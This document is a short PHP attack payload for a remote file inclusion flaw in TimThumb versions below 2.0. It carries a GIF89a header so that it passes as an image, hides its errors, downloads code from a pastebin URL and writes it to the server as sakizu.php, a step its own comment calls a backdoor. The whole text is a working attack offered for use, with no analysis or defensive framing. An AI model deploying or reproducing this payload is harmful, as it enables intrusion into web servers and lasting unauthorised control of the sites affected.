Timthumb < 2.0 RFI Payload

GIF89a;
<?php
error_reporting(0);
$filename="sakizu.php";
$fget=file_get_contents("https://pastebin.com/raw/ntq2g95Z");

// WGET Backdoor
$path=getcwd().DIRECTORY_SEPARATOR;
$fileopen=fopen("$path/$filename",'w');
$execfile=fwrite($fileopen,$fget);
    if($execfile)
    {
        echo "Success: $path$filename";
    }
    else {
        echo "Failed execute newfile $filename in $path";
    }
// EOF
?>